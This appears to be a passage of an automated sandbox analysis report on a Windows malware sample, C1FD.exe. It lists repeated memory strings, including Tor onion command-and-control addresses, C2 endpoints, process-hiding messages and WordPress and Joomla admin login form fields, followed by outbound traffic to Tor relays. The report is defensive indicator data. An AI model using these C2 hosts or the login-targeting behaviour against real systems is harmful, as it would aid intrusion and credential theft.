%wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: C1FD.exe, 00000011.00000002.2223420658.000000000C13E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onion
Source: C1FD.exe, 00000011.00000002.2220289912.000000000C01A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onion
Source: C1FD.exe, 00000011.00000002.2220289912.000000000C01A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: =$T%SE'@2=(31230d161c143d24542553452740323d28http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionhttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\TestAppS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80FirstInstallDateS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80FirstInstallDateS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80SELECT Name FROM Win32_VideoControllerS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6SESSIONNAME=ConsoleUSERDOMAIN=user-PCwindir=C:\WindowsPROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntel
Source: C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: C1FD.exe, 0000001B.00000002.4118997725.000000000C0B2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: "C:\Users\user\AppData\Local\Temp\C1FD.exe" S-1-5-21-2246122658-3693405117-2476756634-1002https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionCommonProgramW6432=C:\Program Files\Common FilesFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerS-1-5-21-2246122658-3693405117-2476756634-1002
Source: C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: C1FD.exe, 0000001B.00000002.4118997725.000000000C12A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionPROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntel
Source: C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: C1FD.exe, 0000001B.00000002.4112561096.0000000000DE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS
Source: C1FD.exe, 0000001B.00000002.4118997725.000000000C0A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onion
Source: C1FD.exe, 0000001B.00000002.4118997725.000000000C0A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: =$T%SE'@2=(31230d161c143d24542553452740323d28http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionhttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\TestAppS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6USERDOMAIN=user-PCwindir=C:\WindowsPROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelTrustedInstaller
Source: csrss.exe, 0000001E.00000002.4105631861.0000000000824000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Referer: X-Requested-With: XMLHttpRequest Content-Type: application/json;127.0.0.1:--ignore-missing-torrcect[] = --SOCKSPort--DataDirectory--bridgehttp://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onionT/reg.php?upd.php?/task.php?/rep.phperr.php?&n=v=b=p=repsf=e=nocache=SEH exceptionSEHSTD: C++.dll4kPv6aJG8e\!update!sleep !regcheckcreateObjectwp-login.phpwp-admin/name="loginform"ionW[] = id="loginform"name="log"id="user_login"name="pwd"id="user_pass"administrator/administrator/index.php ] = id="form-login"action="/administrator= = id="mod-login-username"nd[] = name="username"id="mod-login-password" name="passwd"admin.phpDataLifesubactionusernamepasswordOK{
Source: C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C00E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onion
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C00E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: =$T%SE'@2=(31230d161c143d24542553452740323d28http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionhttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\TestAppS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80FirstInstallDateS-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80\\.\VBoxMiniRdrDNMemory CompressionOfficeClickToRun.exeTrustedInstaller.exe9e146be9-c76a-4720-bcdb-53011b87bd06
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: C1FD.exe, 0000002D.00000002.4120993334.000000000C11E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: S-1-5-21-2246122658-3693405117-2476756634-1002https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionSELECT BuildNumber FROM Win32_OperatingSystem
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C01A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Path=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsAppshttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onion
Source: C1FD.exe, 0000002D.00000002.4111114419.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onion

Source: unknown

Network traffic detected: IP country count 18

Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 5.59.227.51:9001
Source: global traffic	TCP traffic: 192.168.2.4:49746 -> 38.47.221.193:34368
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 212.47.227.71:9001
Source: global traffic	TCP traffic: 192.168.2.4:49789 -> 163.172.68.222:9001
Source: global traffic	TCP traffic: 192.168.2.4:49791 -> 95.216.227.177:2023
Source: global traffic	TCP traffic: 192.168.2.4:49792 -> 213.144.142.24:9001
Source: global traffic	TCP traffic: 192.168.2.4:49817 -> 47.254.134.152:9001
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 195.201.29.252:9001
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 24.150.204.225:9003
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 173.249.63.227:9001
Source: global traffic	TCP traffic: 192.168.2.4:49879 -> 195.123.209.91:5092
Source: global traffic	TCP traffic: 192.168.2.4:49904 -> 62.210.83.207:8080
Source: global traffic	TCP traffic: 192.168.2.4:49906 -> 185.220.101.20:10020
Source: global traffic	TCP traffic: 192.168.2.4:49937 -> 62.171.180.6:9001
Source: global traffic	TCP traffic: 192.168.2.4:49938 -> 128.31.0.39:9101
Source: global traffic	TCP traffic: 192.168.2.4:49944 -> 188.213.49.109:9001
